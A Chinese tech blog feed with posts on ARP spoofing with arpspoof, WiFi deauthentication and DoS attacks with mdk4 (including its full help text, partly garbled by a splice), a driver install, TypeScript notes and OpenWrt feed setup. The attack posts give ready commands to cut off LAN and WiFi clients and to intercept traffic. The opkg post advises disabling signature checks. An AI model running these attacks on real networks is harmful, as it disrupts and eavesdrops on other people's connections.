跳到主要内容

Arp 攻击

· 阅读需 2 分钟

本篇内容仅用于学习和测试,本人遵纪守法。

安装

arpspoof 是 dsniff 包里的一个程序,可用于arp攻击。Manjaro 中执行以下命令安装这个软件包就可以使用了。

yay -S dsniff

介绍

arpspoof - 截获交换局域网中的数据包。

用法
arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host

描述
arpspoof通过伪造的ARP响应包改变局域网中从目标主机(或所有主机)到另一个主机(host)的数据包转发路径。这是交换局域网中嗅探网络流量的一种极为有效的方法。
内核IP转发(或如fragrouter这样的、用户层面的、能完成同样功能的软件)必须提前开启。

使用情景

1. 断网攻击,不开启流量转发,使用我的无线网卡 wlp8s0,攻击网关

sudo arpspoof -i wlp8s0 -t 192.168.1.1

2. 中间人攻击,截获用户和网关之间的流量

开启流量转发

echo 1 >> /proc/sys/net/ipv4/ip_forward

欺骗双方,充当中间人

sudo arpspoof -i wlp8s0 -t 192.168.1.1 192.168.1.106
sudo arpspoof -i wlp8s0 -t 192.168.1.106 192.168.1.1

此时网关以为我是106,而106以为我是网关。双方的流量都将经过这里,使用 WireShark 即可对经过网卡的流量进行分析。

3. 重定向攻击

使局域网所有设备访问的 80 端口,重定向到我这里的 8080 端口,需要开启流量转发。

sudo arpspoof -i wlp8s0 192.168.1.1
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

Mdk4 无线攻击

· 阅读需 10 分钟

本篇内容仅用于学习和测试,本人遵纪守法。

Mdk3 已经不在维护,且它无法攻击 5Ghz 频段的 WiFi,而 Mdk4 加入了 5Ghz 频段的支持,当然用新不用旧。在实践中,WPA3 协议的 WIFI 对 Deauth 和泛洪攻击似乎免疫,多次尝试均是如此。而 WPA2 以及更低级的协议的 WIFI 能够轻易被攻击,产生显著效果。

安装

安装 aircrack-ngmdk4 ,Manjaro 可通过以下命令安装

yay -S aircrack-ng mdk4

使用

启用监听模式

sudo airmon-ng start wlp8s0

得到 wlp8s0mon 作为监听接口,执行攻击命令时均使用监听接口。

扫描无线网络

对 2.4Ghz 频段的 WiFi 扫描

sudo airodump-ng wlp8s0mon

对 5Ghz 频段的 WiFi 扫描,其中参数 a 表示 5Ghz 的 802.11a 标准,也可以是 bg ,分别代表 802.11b 和 802.11g,他俩的频段为 2.4 Ghz

sudo airodump-ng --band a wlp8s0mon 

常用情景

Deauthentication 攻击,断掉信道为 11 无线网络的全部客户端连接。

sudo mdk4 wlp8s0mon d -c 11

身份验证攻击,攻击 BSSID 为 AE:15:5d:ad:40:9b 的接入点,使其崩溃重启

sudo mdk4 wlp8s0mon a -a AE:15:5d:ad:40:9b

攻击模式

一般也就用 a 和 d,用信标攻击太离谱太明显

ATTACK MODE b: Beacon Flooding
Sends beacon frames to show fake APs at clients.
This can sometimes crash network scanners and even drivers!
ATTACK MODE a: Authentication Denial-Of-Service
Sends authentication frames to all APs found in range.
Too many clients can freeze or reset several APs.
ATTACK MODE p: SSID Probing and Bruteforcing
Probes APs and checks for answer, useful for checking if SSID has been correctly decloaked and if AP is in your sending range.
Bruteforcing of hidden SSIDs with or without a wordlist is also available.
ATTACK MODE d: Deauthentication and Disassociation
Sends deauthentication and disassociation packets to stations based on data traffic to disconnect all clients from an AP.
ATTACK MODE m: Michael Countermeasures Exploitation
Sends random packets or re-injects duplicates on another QoS queue to provoke Michael Countermeasures on TKIP APs.
AP will then shutdown for a whole minute, making this an effective DoS.
ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Floods an AP with EAPOL Start frames to keep it busy with fake sessions and thus disables it to handle any legitimate clients. Or logs off clients by injecting fake EAPOL Logoff messages.
ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
Various attacks on link management and routing in mesh networks
Flood neighbors and routes, create black holes and divert traffic!
ATTACK MODE w: WIDS Confusion
Confuse/Abuse Intrusion Detection and Prevention Systems by cross-connecting clients to multiple WDS nodes or fake rogue APs.
ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources and a nice set of modifiers. Be careful!
ATTACK MODE x: Poc Testing
Proof-of-concept of WiFi protocol implementation vulnerability, to test whether the device has wifi vulnerabilities.
It may cause the wifi connection to be disconnected or the target device to crash.

攻击参数

mdk4 <interface> <attack_mode> [attack_options]
mdk4 <interface in> <interface out> <attack_mode> [attack_options]
	ATTACK MODE b: Beacon Flooding
Sends beacon frames to generate fake APs at clients.
This can sometimes crash network scanners and drivers!
-n <ssid>
Use SSID <ssid> instead of randomly generated ones
-a
Use also non-printable caracters in generated SSIDs
and create SSIDs that break the 32-byte limit
-f <filename>
Read SSIDs from file
-v <filename>
Read MACs and SSIDs from file. See example file!
-t <adhoc>
-t 1 = Create only Ad-Hoc network
-t 0 = Create only Managed (AP) networks
without this option, both types are generated
-w <encryptions>
Select which type of encryption the fake networks shall have
Valid options: n = No Encryption, w = WEP, t = TKIP (WPA), a = AES (WPA2)
You can select multiple types, i.e. "-w wta" will only create WEP and WPA networks
-b <bitrate>
Select if 11 Mbit (b) or 54 MBit (g) networks are created
Without this option, both types will be used.
-m
Use valid accesspoint MAC from built-in OUI database
-h
Hop to channel where network is spoofed
This is more effective with some devices/drivers
But it reduces packet rate due to channel hopping.
-c <chan>
Create fake networks on channel <c ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources
and a nice set of modifiers. Be careful!han>. If you want your card to
hop on this channel, you have to set -h option, too.
-i <HEX>
Add user-defined IE(s) in hexadecimal at the end of the tagged parameters
-s <pps>
Set speed in packets per second (Default: 50)

ATTACK MODE a: Authentication Denial-Of-Service
Sends authentication frames to all APs found in range.
Too many clients can freeze or reset several APs.
-a <ap_mac>
Only test the specified AP
-m
Use valid client MAC from built-in OUI database
-i <ap_mac>
Perform intelligent test on AP
This test connects clients to the AP and reinjects sniffed data to keep them alive.
-s <pps>
Set speed in packets per second (Default: unlimited)

ATTACK MODE p: SSID Probing and Bruteforcing
Probes APs and checks for answer, useful for checking if SSID has
been correctly decloaked and if AP is in your sending range.
Bruteforcing of hidden SSIDs with or without a wordlist is also available.
-e <ssid>
SSID to probe for
-f <filename>
Read SSIDs from file for bruteforcing hidden SSIDs
-t <bssid>
Set MAC address of target AP
-s <pps>
Set speed (Default: 400)
-b <character sets>
Use full Bruteforce mode (recommended for short SSIDs only!)
You can select multiple character sets at once:
* n (Numbers: 0-9)
* u (Uppercase: A-Z)
* l (Lowercase: a-z)
* s (Symbols: ASCII)
-p <word>
Continue bruteforcing, starting at <word>.
-r <channel>
Probe request tests (mod-musket)

ATTACK MODE d: Deauthentication and Disassociation
Sends deauthentication and disassociation packets to stations
based on data traffic to disconnect all clients from an AP.
-w <filename>
Read file containing MACs not to care about (Whitelist mode)
-b <filename>
Read file containing MACs to run test on (Blacklist Mode)
-s <pps>
Set speed in packets per second (Default: unlimited)
-x
Enable full IDS stealth by matching all Sequence Numbers
Packets will only be sent with clients' addresses
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-E <AP ESSID>
Specify an AP ESSID to attack.
-B <AP BSSID>
Specify an AP BSSID to attack.
-S <Station MAC address>
Specify a station MAC address to attack.
-W <Whitelist Station MAC address>
Specify a whitelist station MAC.

ATTACK MODE m: Michael Countermeasures Exploitation
Sends random packets or re-injects duplicates on another QoS queue
to provoke Michael Countermeasures on TKIP APs.
AP will then shutdown for a whole minute, making this an effective DoS.
-t <bssid>
Set target AP, that runs TKIP encryption
-j
Use the new QoS exploit which only needs to reinject a few packets instead
of the random packet injection, which is unreliable but works without QoS.
-s <pps>
Set speed in packets per second (Default: 400)
-w <seconds>
Wait <seconds> between each random packet burst (Default: 10)
-n <count>
Send <count> random packets per burst (Default: 70)

ATTACK MODE e: EAPOL Start and Logoff Packet Injection
Floods an AP with EAPOL Start frames to keep it busy with fake sessions
and thus disables it to handle any legitimate clients.
Or logs off clients by injecting fake EAPOL Logoff messages.
-t <bssid>
Set target WPA AP
-s <pps>
Set speed in packets per second (Default: 400)
-l
Use Logoff messages to kick clients

ATTACK MODE s: Attacks for IEEE 802.11s mesh networks
Various attacks on link management and routing in mesh networks.
Flood neighbors and routes, create black holes and divert traffic!
-f <type>
Basic fuzzing tests. Picks up Action and Beacon frames from the air, modifies and replays them:
The following modification types are implemented:
1: Replay identical frame until new one arrives (duplicate flooding)
2: Change Source and BSSID (possibly resulting in Neighbor Flooding)
3: Cut packet short, leave 802.11 header intact (find buffer errors)
4: Shotgun mode, randomly overwriting bytes after header (find bugs)
5: Skript-kid's automated attack trying all of the above randomly :)
-b <impersonated_meshpoint>
Create a Blackhole, using the impersonated_meshpoint's MAC address
mdk4 will answer every incoming Route Request with a perfect route over the impersonated node.
-p <impersonated_meshpoint>
Path Request Flooding using the impersonated_meshpoint's address
Adjust the speed switch (-s) for maximum profit!
-l
Just create loops on every route found by modifying Path Replies
-s <pps>
Set speed in packets per second (Default: 100)
-n <meshID>
Target this mesh network

ATTACK MODE w: WIDS Confusion
Confuse/Abuse Intrusion Detection and Prevention Systems by
cross-connecting clients to multiple WDS nodes or fake rogue APs.
Confuses a WDS with multi-authenticated clients which messes up routing tables
-e <SSID>
SSID of target WDS network
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-z
activate Zero_Chaos' WIDS exploit
(authenticates clients from a WDS to foreign APs to make WIDS go nuts)
-s <pps>
Set speed in packets per second (Default: 100)

ATTACK MODE f: Packet Fuzzer
A simple packet fuzzer with multiple packet sources
and a nice set of modifiers. Be careful!
mdk4 randomly selects the given sources and one or multiple modifiers.
-s <sources>
Specify one or more of the following packet sources:
a - Sniff packets from the air
b - Create valid beacon frames with random SSIDs and properties
c - Create CTS frames to broadcast (you can also use this for a CTS DoS)
p - Create broadcast probe requests
-m <modifiers>
Select at least one of the modifiers here:
n - No modifier, do not modify packets
b - Set destination address to broadcast
m - Set source address to broadcast
s - Shotgun: randomly overwrites a couple of bytes
t - append random bytes (creates broken tagged parameters in beacons/probes)
c - Cut packets short, preferably somewhere in headers or tags
d - Insert random values in Duration and Flags fields
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-p <pps>
Set speed in packets per second (Default: 250)

ATTACK MODE x: Poc Testing
Proof-of-concept of WiFi protocol implementation vulnerability,
to test whether the device has wifi vulnerabilities.
It may cause the wifi connection to be disconnected or the target device to crash.
-s <pps>
Set speed in packets per second (Default: unlimited)
-c [chan,chan,...,chan[:speed]]
Enable channel hopping. When -c h is given, mdk4 will hop an all
14 b/g channels. Channel will be changed every 3 seconds,
if speed is not specified. Speed value is in milliseconds!
-v <vendor>
file name in pocs dir, default test all.
-A <AP MAC>
set an AP MAC
-S <Station MAC>
set a station MAC.

RTL8812BU驱动安装

· 阅读需 1 分钟

已经有人做出了安装包放在了AUR仓库,他用到了但是却没有把 linux-headers 写在 PKGBUILD 里面,导致安装失败。使用需要先手动安装这个这个依赖,再安装驱动才能成功。

yay -S linux-headers rtl88x2bu-dkms-git

完成以后即可搜索到 WiFi,这个螃蟹卡在实验室的台式电脑上似乎无法进入监听模式,后续用笔记本再捣鼓一下。

从 JavaScript 到 TypeScript

· 阅读需 6 分钟
信息

本栏笔记参考TypeScript文档撰写,目前尚无中文翻译,看起来费劲,在这里对其中的要点进行提取,融入自己的理解和示例代码,以中文的笔记形式记录下来。

本文对 TypeScript 进行简要的概述,重点介绍它的类型系统。

类型推断

在声明变量并给他赋值时,会把该值的类型作为该变量的类型。 当鼠标放在 words 上时,IDE会提示它是string类型。

let words = 'hello'

定义类型

默认会推断类型,可以这样创建一个 user 对象,它的 name 属性为字符串类型,id 属性为数字类型。

const user = {
name: 'Lee',
id: 0
}

显式描述类型

interface 事先定义好一个“形”,创建符合这个形的对象 user 时,会把 userUser 定义的属性进行匹配,比较其类型是否相符。以下代码,若缺少定义的属性,会被警告;若类型不匹配,也会被警告。

interface User {
name: string;
id: number;
}
const user: User = {
name: '',
id: 1
}

可以将接口声明和类一起使用,

interface User {
name: string;
id: number;
}
class Teacher {
name: string;
id: number;
constructor(name: string, id: number) {
this.name = name;
this.id = id;
}
}
const user: User = new Teacher("Murphy", 1);

也可以用来注释参数,也可以用来注释返回值的类型

function getUserUser(): User {
return
}
function deleteUser(user: User) {
}

JavaScript 中的原始类型:booleanbigintnullnumberstringsymbolundefined,你可以在接口中使用它们。TypeScript 对这些类型进行了扩展,例如anyunknownnevervoid

定义类型有两种方式,你应该优先选择用 interface,必要时再使用 type

组合类型

可以通过组合简单类型来创建复杂类型。有两种流行的方法可以做到这一点:使用联合类型和泛型。

联合类型

使用联合类型,你可以定义一个可能会是很多种类型其中之一的类型,例如你可以定义一个 MyBool 其值可能是 truefalse

type MyBool = true | false

比较常用的联合类型用法:定义一个可能出现的值的集合,一个字符串集合或数值集合。

type WindowStates = 'open' | 'closed'
type LockStatus = 'locked' | 'unlocked'
type FanSpeed = 1 | 2 | 3 | 4 | 5 | 6

也可以用来定义多种类型的参数,传给函数。例如以下函数,可以接受一个字符串,也可以接受字符串数组

function handle(obj: string | string[]) { }

泛型

type 就像C语言里的 typedef。第三行定义了一个类型:对象数组,对象必须有字符串类型的 name 属性

type StringArray = Array<string>;
type NumberArray = Array<number>;
type ObjectWithNameArray = Array<{ name: string }>;

定义自己的泛型类型,类比一下 Array<T>

interface Backpack<Type> {
add: (obj: Type) => void;
get: () => Type;
}

结构类型系统

TypeScript的核心原则之一,就是类型检查,实际上是检查“形”里定义的值。在结构类型系统中,如果两个对象有相同的“形”,那么他俩就会被认定是同一类型。

interface Point {
x: number;
y: number;
}
function logPoint(p: Point) {
console.log(p.x, p.y);
}
const point = { x: 12, y: 26 };
const point1 = {x: 1, y: 2, z: new String('3'), n: 4}
logPoint(point); // 输出:12,26
logPoint(point1); // 输出:1,2

从上面的代码可以看到,point 是一个拥有 xy 属性的对象,它从没声明过自己是 Point 类型,但是它通过了类型检查,因为他们有相同的“形”。这个机制用 shape-matching 描述起来更贴切。

shape-matching 匹配只需要是这个对象属性的子集,就匹配通过。即 {'{定义类型属性}'} ∈ {'{对象所有属性}'},在这个例子中就是参数 p 至少包含 x 和 y ,如果有其他属性 z 或者更多也不影响。此规则在类对象上也不例外。

标签:

第三方软件源 & opkg

· 阅读需 3 分钟

可直接访问手动下载的软件库: https://op.supes.top

其实在 GitHub 有很多第三方的软件源的,里面的安装包都非常丰富,里面的插件也非常的全。不能写出来,得自己去发现。

各种软件源的下载方式(官方英文):

方式描述
src-bzrData is downloaded from the source path/URL using bzr
src-cpyData is copied from the source path. The path can be specified as either relative to OpenWrt repository root or absolute.
src-darcsData is downloaded from the source path/URL using darcs
src-gitData is downloaded from the source path/URL using git as a shallow (depth of 1) clone
src-git-fullData is downloaded from the source path/URL using git as a full clone
src-gitsvnBidirectional operation between a Subversion repository and git
src-hgData is downloaded from the source path/URL using hg
src-linkA symlink to the source path is created. The path must be absolute.
src-svnData is downloaded from the source path/URL using svn

修改官方源

打开默认的源配置文件

vim /etc/opkg/distfeeds.conf

修改为清华软件源

src/gz openwrt_base https://mirror.sjtu.edu.cn/openwrt/releases/packages-21.02/mipsel_24kc/base
src/gz openwrt_luci https://mirror.sjtu.edu.cn/openwrt/releases/packages-21.02/mipsel_24kc/luci
src/gz openwrt_packages https://mirror.sjtu.edu.cn/openwrt/releases/packages-21.02/mipsel_24kc/packages
src/gz openwrt_routing https://mirror.sjtu.edu.cn/openwrt/releases/packages-21.02/mipsel_24kc/routing

添加自定义源

vim /etc/opkg/customfeeds.conf

在此文件中添加自定义源

src/gz kuoruan_packages http://openwrt.kuoruan.net/packages/releases/mipsel_24kc
src/gz kuoruan_universal http://openwrt.kuoruan.net/packages/releases/all
src/gz openwrt_kiddin9 https://op.supes.top/packages/mipsel_24kc

关闭签名检查

如果添加自定义的源时,不添加密钥就需要关闭签名检查。

vim /etc/opkg.conf

option check_signature 行使用 # 注释掉。

对软件源配置文件进行完修改后,更新软件列表 opkg update

opkg 的基本使用

下面的例子应该可以比较直观地看出来,一些基本的使用命令:

opkg update	#更新可用软件包列表
opkg upgrade 软件包名1 软件包名2 #升级软件包
opkg install dnsmasq #安装软件
opkg install http://downloads.openwrt.org/snapshots/trunk/ar71xx/packages/hiawatha_7.7-2_ar71xx.ipk # 安装软件
opkg install /tmp/hiawatha_7.7-2_ar71xx.ipk #安装软件
opkg remove 软件包名 #删除软件
opkg list #列出可用软件包
opkg list-installed #列出已安装软件包
opkg list-upgradable #列出可升级的已安装软件包